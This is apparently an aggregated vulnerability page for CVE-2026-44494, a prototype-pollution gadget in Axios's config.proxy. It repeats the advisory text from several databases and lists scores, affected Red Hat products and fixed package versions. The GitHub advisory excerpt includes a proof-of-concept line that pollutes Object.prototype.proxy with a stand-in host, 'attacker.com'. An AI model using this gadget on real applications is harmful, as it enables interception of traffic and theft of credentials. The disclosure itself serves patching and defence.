CVE-2026-44494
Axios: Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`
Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.16.0, the Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials. The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server. This vulnerability is fixed in 1.16.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.7
Axios: Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`
Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.16.0, the Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials. The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server. This vulnerability is fixed in 1.16.0.
- Record
CVE-2026-44494- CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N - Weakness
- CWE-441, CWE-1321, CWE-915
- Updated
- 2026-11-02
EUVDEUVD-2026-36257
8.7
Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.16.0, the Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials. The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server. This vulnerability is fixed in 1.16.0.
- Record
EUVD-2026-36257- CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-35jp-ww65-95wh
8.7
axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`
Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in config.proxy
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials.
The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server.
Unlike the transformResponse gadget (which is constrained by assertOptions to return true), the proxy gadget has zero constraints — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.
Severity: Critical (CVSS 9.4)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/adapters/http.js (config property access on merged object)
CWE
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
- CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')
CVSS 3.1
Score: 9.4 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |
| Attack Complexity | Low | Once PP exists, single property assignment: Object.prototype.proxy = {host:'attacker', port:8080}. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | MITM within the application's network context |
| Confidentiality | High | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) |
| Integrity | High | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. No constraints — unlike transformResponse which must return true |
| Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact |
Why This Bypasses mergeConfig
The critical difference from transformResponse: the proxy property is not in defaults (lib/defaults/index.js does not set proxy). This means:
mergeConfigiteratesObject.keys({...defaults, ...userConfig})—proxyis NOT in this setdefaultToConfig2forproxyis never called- The merged config has no own
proxyproperty - When
http.js:670readsconfig.proxy, JavaScript traverses the prototype chain Object.prototype.proxyis found → used bysetProxy()
This is a more direct attack path than transformResponse because it doesn't even go through mergeConfig's merge logic — it completely bypasses it.
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically use the polluted proxy value when making HTTP requests. The developer's code is completely safe — no configuration errors needed.
Proof of Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:
Object.prototype.proxy = {
host: 'attacker.com',
port: 8080,
protocol: 'http',
};
2. The Gadget Trigger (Safe Code)
The application…
- Record
GHSA-35jp-ww65-95wh- CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N - Weakness
- CWE-441, CWE-1321
- Updated
- 2026-11-02
NVD
8.7
Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.16.0, the Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials. The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server. This vulnerability is fixed in 1.16.0.
- Record
CVE-2026-44494- CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N - Weakness
- CWE-441, CWE-1321, CWE-915
- Updated
- 2026-11-02
OSV
8.7
Axios: Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`
Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.16.0, the Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials. The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server. This vulnerability is fixed in 1.16.0.
- Record
CVE-2026-44494- CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N - Weakness
- CWE-1321, CWE-441
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-44494
8.7
Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.16.0, the Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials. The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server. This vulnerability is fixed in 1.16.0.
- Record
DEBIAN-CVE-2026-44494- CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N - Updated
- 2026-11-02
Show 11 moreShow less
OSVGHSA-35jp-ww65-95wh
8.7
axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`
Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in config.proxy
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials.
The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server.
Unlike the transformResponse gadget (which is constrained by assertOptions to return true), the proxy gadget has zero constraints — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.
Severity: Critical (CVSS 9.4)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/adapters/http.js (config property access on merged object)
CWE
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
- CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')
CVSS 3.1
Score: 9.4 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |
| Attack Complexity | Low | Once PP exists, single property assignment: Object.prototype.proxy = {host:'attacker', port:8080}. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | MITM within the application's network context |
| Confidentiality | High | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) |
| Integrity | High | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. No constraints — unlike transformResponse which must return true |
| Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact |
Why This Bypasses mergeConfig
The critical difference from transformResponse: the proxy property is not in defaults (lib/defaults/index.js does not set proxy). This means:
mergeConfigiteratesObject.keys({...defaults, ...userConfig})—proxyis NOT in this setdefaultToConfig2forproxyis never called- The merged config has no own
proxyproperty - When
http.js:670readsconfig.proxy, JavaScript traverses the prototype chain Object.prototype.proxyis found → used bysetProxy()
This is a more direct attack path than transformResponse because it doesn't even go through mergeConfig's merge logic — it completely bypasses it.
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically use the polluted proxy value when making HTTP requests. The developer's code is completely safe — no configuration errors needed.
Proof of Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:
Object.prototype.proxy = {
host: 'attacker.com',
port: 8080,
protocol: 'http',
};
2. The Gadget Trigger (Safe Code)
The application…
- Record
GHSA-35jp-ww65-95wh- CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N - Weakness
- CWE-1321, CWE-441
- Updated
- 2026-11-02
OSVRHSA-2026:42078
9.0
Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update
- Record
RHSA-2026:42078- CVSS 3.1
- 9.0 Critical
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:H - Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-44494
8.7
CVE-2026-44494 in axios - Patched by Root
Root has patched CVE-2026-44494 in the axios package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-44494- CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N - Updated
- 2026-11-06
OSVUBUNTU-CVE-2026-44494
8.7
Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.16.0, the Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials. The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server. This vulnerability is fixed in 1.16.0.
- Record
UBUNTU-CVE-2026-44494- CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N - Updated
- 2026-11-02
OSVCLSA-2026-1783904624 No score
TuxCare security update for axios (3 CVEs)
TuxCare rebuilt axios to address 3 CVEs. Fixed in 1.7.5-tuxcare.1.
- Record
CLSA-2026-1783904624- Updated
- 2026-11-02
OSVCLSA-2026-1784856205 No score
TuxCare security update for axios (21 CVEs)
TuxCare rebuilt axios to address 21 CVEs. Fixed in 1.7.9-tuxcare.1.
- Record
CLSA-2026-1784856205- Updated
- 2026-11-02
OSVCLSA-2026-1787930147 No score
TuxCare security update for axios (6 CVEs)
TuxCare rebuilt axios to address 6 CVEs. Fixed in 1.6.2-tuxcare.5.
- Record
CLSA-2026-1787930147- Updated
- 2026-11-02
OSVCLSA-2026-1790764333 No score
TuxCare security update for axios (28 CVEs)
TuxCare rebuilt axios to address 28 CVEs. Fixed in 1.13.5-tuxcare.1.
- Record
CLSA-2026-1790764333- Updated
- 2026-11-02
OSVCLSA-2026-1793101849 No score
TuxCare security update for axios (32 CVEs)
TuxCare rebuilt axios to address 32 CVEs. Fixed in 1.13.2-tuxcare.2.
- Record
CLSA-2026-1793101849- Updated
- 2026-11-02
OSVCLSA-2026-1793110604 No score
TuxCare security update for axios (32 CVEs)
TuxCare rebuilt axios to address 32 CVEs. Fixed in 1.12.2-tuxcare.1.
- Record
CLSA-2026-1793110604- Updated
- 2026-11-02
OSVCLSA-2026-1793874599 No score
TuxCare security update for axios (27 CVEs)
TuxCare rebuilt axios to address 27 CVEs. Fixed in 1.13.6-tuxcare.3.
- Record
CLSA-2026-1793874599- Updated
- 2026-11-05
Affected products
- axios
- red hat cryostat 4
- red hat gatekeeper 3
- red hat migration toolkit for applications 8
- red hat multicluster engine for kubernetes 2.1
- red hat multicluster engine for kubernetes 2.6
- red hat multicluster engine for kubernetes 2.8
- red hat multicluster engine for kubernetes 2.9
- red hat network observability operator
- red hat openshift pipelines
- red hat openshift service mesh 3
- red hat 3scale api management platform 2
Show 56 moreShow less
- red hat advanced cluster management for kubernetes 2.11
- red hat advanced cluster management for kubernetes 2.13
- red hat advanced cluster management for kubernetes 2.14
- red hat advanced cluster management for kubernetes 2.15
- red hat advanced cluster management for kubernetes 2.16
- red hat advanced cluster security 4.9
- red hat advanced cluster security for kubernetes 4.10
- red hat amq broker 7.13.6
- red hat amq broker 7.14.1
- red hat ansible automation platform 2
- red hat ansible automation platform 2.5 for rhel 8
- red hat ansible automation platform 2.5 for rhel 9
- red hat ansible automation platform 2.7
- red hat build of apache camel - hawtio 4
- red hat build of apache camel for spring boot 4
- red hat build of apicurio registry 3
- red hat build of podman desktop - tech preview
- red hat container native virtualization 4.13
- red hat container native virtualization 4.14
- red hat data grid 8.6.2
- red hat developer hub 1.10
- red hat developer hub 1.9
- red hat discovery 2
- red hat enterprise linux 8
- red hat enterprise linux 9
- red hat enterprise linux ai (rhel ai) 3
- red hat fuse 7
- red hat migration toolkit 1.8
- red hat migration toolkit for applications 8.1
- red hat openshift ai (rhoai)
- red hat openshift ai 3.4
- red hat openshift container platform 4
- red hat openshift container platform 4.13
- red hat openshift container platform 4.14
- red hat openshift container platform 4.15
- red hat openshift container platform 4.16
- red hat openshift container platform 4.19
- red hat openshift container platform 4.20
- red hat openshift container platform 4.21
- red hat openshift container platform 4.22
- red hat openshift dev spaces 3.29
- red hat openshift service mesh 2.6
- red hat openshift service mesh 3.0
- red hat openshift service mesh 3.1
- red hat openshift service mesh 3.2
- red hat openshift service mesh 3.3
- red hat openshift virtualization 4
- red hat quay 3.10
- red hat quay 3.12
- red hat quay 3.15
- red hat quay 3.16
- red hat quay 3.9
- red hat satellite 6.19
- red hat trusted artifact signer 1.3
- red hat trusted profile analyzer
- red hat self-service automation portal 2
Affected packages
| Package | Affected | Fixed |
|---|---|---|
axiosnpm |
1.0.0 up to 1.16.0 | 1.16.0 |
axiosTuxCare:npm From an advisory covering 3 CVEs |
1.7.5-tuxcare.0 up to 1.7.5-tuxcare.1, plus listed versions 1.7.5 |
1.7.5-tuxcare.1 |
axiosTuxCare:npm From an advisory covering 21 CVEs |
1.7.9-tuxcare.0 up to 1.7.9-tuxcare.1, plus listed versions 1.7.9 |
1.7.9-tuxcare.1 |
axiosTuxCare:npm From an advisory covering 6 CVEs |
1.6.2-tuxcare.0 up to 1.6.2-tuxcare.5, plus listed versions 1.6.21.6.2-tuxcare.11.6.2-tuxcare.21.6.2-tuxcare.31.6.2-tuxcare.4 |
1.6.2-tuxcare.5 |
axiosTuxCare:npm From an advisory covering 28 CVEs |
1.13.5-tuxcare.0 up to 1.13.5-tuxcare.1, plus listed versions 1.13.5 |
1.13.5-tuxcare.1 |
axiosTuxCare:npm From an advisory covering 32 CVEs |
1.13.2-tuxcare.0 up to 1.13.2-tuxcare.2, plus listed versions 1.13.21.13.2-tuxcare.1 |
1.13.2-tuxcare.2 |
axiosTuxCare:npm From an advisory covering 32 CVEs |
1.12.2-tuxcare.0 up to 1.12.2-tuxcare.1, plus listed versions 1.12.2 |
1.12.2-tuxcare.1 |
axiosTuxCare:npm From an advisory covering 27 CVEs |
1.13.6-tuxcare.0 up to 1.13.6-tuxcare.3, plus listed versions 1.13.61.13.6-tuxcare.11.13.6-tuxcare.2 |
1.13.6-tuxcare.3 |
node-axiosDebian:12 |
All versions, plus listed versions 1.11.0+dfsg-11.12.1+dfsg-11.13.1+dfsg-11.13.2+dfsg-11.14.0+dfsg-1 Show 17 moreShow less1.15.0-11.15.2-11.16.0-11.18.0-11.19.0-11.2.1+dfsg-11.2.1+dfsg-1+deb12u11.20.0-11.5.1+dfsg-11.6.2+dfsg-11.6.8+dfsg-11.6.8+dfsg-21.7.3+dfsg-11.7.4+dfsg-11.7.7+dfsg-11.7.9+dfsg-11.8.4+dfsg-1 |
None known |
node-axiosDebian:13 |
All versions, plus listed versions 1.11.0+dfsg-11.12.1+dfsg-11.13.1+dfsg-11.13.2+dfsg-11.14.0+dfsg-1 Show 7 moreShow less1.15.0-11.15.2-11.16.0-11.18.0-11.19.0-11.20.0-11.8.4+dfsg-1 |
None known |
Show 89 moreShow less
| Package | Affected | Fixed |
|---|---|---|
node-axiosDebian:14 |
before 1.16.0-1, plus listed versions 1.11.0+dfsg-11.12.1+dfsg-11.13.1+dfsg-11.13.2+dfsg-11.14.0+dfsg-11.15.0-11.15.2-11.8.4+dfsg-1 |
1.16.0-1 |
automation-gateway-serverRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:2.5.20260715-1.el8ap | 0:2.5.20260715-1.el8ap |
automation-gateway-serverRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:2.5.20260715-1.el9ap | 0:2.5.20260715-1.el9ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:4.6.30-2.el8ap | 0:4.6.30-2.el8ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:4.6.30-2.el9ap | 0:4.6.30-2.el9ap |
ansible-coreRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 25 CVEs |
before 1:2.16.19-1.el8ap | 1:2.16.19-1.el8ap |
ansible-coreRed Hat:ansible_automation_platform_inside:2.5::el8 From an advisory covering 25 CVEs |
before 1:2.16.19-1.el8ap | 1:2.16.19-1.el8ap |
ansible-coreRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 1:2.16.19-1.el8ap | 1:2.16.19-1.el8ap |
ansible-coreRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 25 CVEs |
before 1:2.16.19-1.el9ap | 1:2.16.19-1.el9ap |
ansible-coreRed Hat:ansible_automation_platform_inside:2.5::el9 From an advisory covering 25 CVEs |
before 1:2.16.19-1.el9ap | 1:2.16.19-1.el9ap |
ansible-coreRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 1:2.16.19-1.el9ap | 1:2.16.19-1.el9ap |
python3.12-pulpcoreRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:3.49.63-2.el8ap | 0:3.49.63-2.el8ap |
python3.12-pulpcoreRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:3.49.63-2.el9ap | 0:3.49.63-2.el9ap |
receptorRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el8ap | 0:1.6.6-1.el8ap |
receptorRed Hat:ansible_automation_platform_inside:2.5::el8 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el8ap | 0:1.6.6-1.el8ap |
receptorRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el8ap | 0:1.6.6-1.el8ap |
receptorRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el9ap | 0:1.6.6-1.el9ap |
receptorRed Hat:ansible_automation_platform_inside:2.5::el9 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el9ap | 0:1.6.6-1.el9ap |
receptorRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el9ap | 0:1.6.6-1.el9ap |
receptorctlRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el8ap | 0:1.6.6-1.el8ap |
receptorctlRed Hat:ansible_automation_platform_inside:2.5::el8 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el8ap | 0:1.6.6-1.el8ap |
receptor-debuginfoRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el8ap | 0:1.6.6-1.el8ap |
receptor-debugsourceRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el8ap | 0:1.6.6-1.el8ap |
receptorctlRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el8ap | 0:1.6.6-1.el8ap |
receptorctlRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el9ap | 0:1.6.6-1.el9ap |
receptorctlRed Hat:ansible_automation_platform_inside:2.5::el9 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el9ap | 0:1.6.6-1.el9ap |
receptor-debuginfoRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el9ap | 0:1.6.6-1.el9ap |
receptor-debugsourceRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el9ap | 0:1.6.6-1.el9ap |
receptorctlRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el9ap | 0:1.6.6-1.el9ap |
python3.12-gitpythonRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:3.1.50-1.el8ap | 0:3.1.50-1.el8ap |
python3.12-gitpythonRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:3.1.50-1.el9ap | 0:3.1.50-1.el9ap |
automation-controllerRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 25 CVEs |
before 0:4.6.30-2.el8ap | 0:4.6.30-2.el8ap |
automation-controller-cliRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 25 CVEs |
before 0:4.6.30-2.el8ap | 0:4.6.30-2.el8ap |
python3.12-urllib3Red Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 25 CVEs |
before 0:2.7.0-1.el8ap | 0:2.7.0-1.el8ap |
ansible-testRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 1:2.16.19-1.el8ap | 1:2.16.19-1.el8ap |
automation-controllerRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:4.6.30-2.el8ap | 0:4.6.30-2.el8ap |
automation-controller-cliRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:4.6.30-2.el8ap | 0:4.6.30-2.el8ap |
automation-controller-serverRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:4.6.30-2.el8ap | 0:4.6.30-2.el8ap |
automation-controller-uiRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:4.6.30-2.el8ap | 0:4.6.30-2.el8ap |
automation-eda-controllerRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:1.1.20-1.el8ap | 0:1.1.20-1.el8ap |
automation-eda-controller-baseRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:1.1.20-1.el8ap | 0:1.1.20-1.el8ap |
automation-eda-controller-base-servicesRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:1.1.20-1.el8ap | 0:1.1.20-1.el8ap |
automation-eda-controller-event-stream-servicesRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:1.1.20-1.el8ap | 0:1.1.20-1.el8ap |
automation-eda-controller-worker-servicesRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:1.1.20-1.el8ap | 0:1.1.20-1.el8ap |
automation-gatewayRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:2.5.20260715-1.el8ap | 0:2.5.20260715-1.el8ap |
automation-gateway-configRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:2.5.20260715-1.el8ap | 0:2.5.20260715-1.el8ap |
automation-hubRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:4.10.16-1.el8ap | 0:4.10.16-1.el8ap |
python3.12-galaxy-ngRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:4.10.16-1.el8ap | 0:4.10.16-1.el8ap |
python3.12-pulp-ansibleRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 1:0.25.6-1.el8ap | 1:0.25.6-1.el8ap |
python3.12-pulp-containerRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:2.19.12-1.el8ap | 0:2.19.12-1.el8ap |
python3.12-pyjwt+cryptoRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:2.13.0-1.el8ap | 0:2.13.0-1.el8ap |
python3.12-pyjwtRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:2.13.0-1.el8ap | 0:2.13.0-1.el8ap |
python3.12-pysequoiaRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:0.1.34-1.el8ap | 0:0.1.34-1.el8ap |
python3.12-pysequoia-debuginfoRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:0.1.34-1.el8ap | 0:0.1.34-1.el8ap |
python3.12-pysequoia-debugsourceRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:0.1.34-1.el8ap | 0:0.1.34-1.el8ap |
python3.12-urllib3Red Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:2.7.0-1.el8ap | 0:2.7.0-1.el8ap |
automation-controllerRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 25 CVEs |
before 0:4.6.30-2.el9ap | 0:4.6.30-2.el9ap |
automation-controller-cliRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 25 CVEs |
before 0:4.6.30-2.el9ap | 0:4.6.30-2.el9ap |
python3.12-urllib3Red Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 25 CVEs |
before 0:2.7.0-1.el9ap | 0:2.7.0-1.el9ap |
ansible-testRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 1:2.16.19-1.el9ap | 1:2.16.19-1.el9ap |
automation-controllerRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:4.6.30-2.el9ap | 0:4.6.30-2.el9ap |
automation-controller-cliRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:4.6.30-2.el9ap | 0:4.6.30-2.el9ap |
automation-controller-serverRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:4.6.30-2.el9ap | 0:4.6.30-2.el9ap |
automation-controller-uiRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:4.6.30-2.el9ap | 0:4.6.30-2.el9ap |
automation-eda-controllerRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:1.1.20-1.el9ap | 0:1.1.20-1.el9ap |
